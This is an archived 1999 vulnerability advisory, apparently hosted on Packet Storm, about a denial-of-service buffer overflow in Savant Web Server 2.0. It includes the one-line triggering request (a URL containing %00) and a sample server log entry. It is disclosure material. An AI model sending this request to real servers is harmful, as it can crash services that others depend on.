exploit the possibilities

savant.dos.txt

savant.dos.txt
Posted Dec 31, 1999
Authored by Underground Security Systems Research

The Savant Web Server V2.0 Win9X / NT / 2K and possibly other versions has a buffer overflow caused by a NULL Character in the parsing Get Command routine.

tags | exploit, web, overflow
systems | windows
MD5 | 37c609c30feae7aea4e588a1b42dfc9f

savant.dos.txt

Change Mirror Download
Local / Remote D.o.S Attack in Savant Web Server V2.0 WIN9X / NT / 2K

USSR Advisory Code: USSR-99026

Release Date:
December 28, 1999 [2/5]

Systems Affected:
Savant Web Server V2.0 Win9X / NT / 2K and possibly others versions.

About The Software:
Savant provides support for most modern web features and technologies,
including:

Common Gateway Interface (CGI) 1.0 and 1.1
HTTP 0.9, 1.0, and 1.1 including keep-alive ability
Comprehensive logging in the standard NCSA format
User and group management
Password protection
Server-side image maps
Support for over 40 file types, including MP3, RealAudio, and Microsoft
Office files
XML, JavaScript, Java, and ActiveX, and more!

THE PROBLEM

UssrLabs found a Local / Remote Buffer overflow,the buffer overflow is
caused by a NULL Character in the parsing Get Command rutine.

Example:
in Internet Explorer, address: Htpp://SavantServerIP/%00/


The D.O.S action is logged in, C:\Savant\Logs\general.txt, inside looks like
this one

Attacker Ip - - [20/Dec/1999:00:10:27 -0300] "GET
/%00/index.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.
htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.html" 301 279



Do you do the w00w00?
This advisory also acts as part of w00giving. This is another contribution
to w00giving for all you w00nderful people out there. You do know what
w00giving is don't you? http://www.w00w00.org/advisories.html

Vendor Status:
Informed.

Vendor Url: http://hera.wku.edu/~lamonml/savant/index.html
Program Url: http://hera.wku.edu/~lamonml/savant/download.html

Credit: USSRLABS

SOLUTION
Noting yet :(

Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, ADM, L0pht, HNN, Technotronic and
Wiretrip.

u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h
http://www.ussrback.com



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close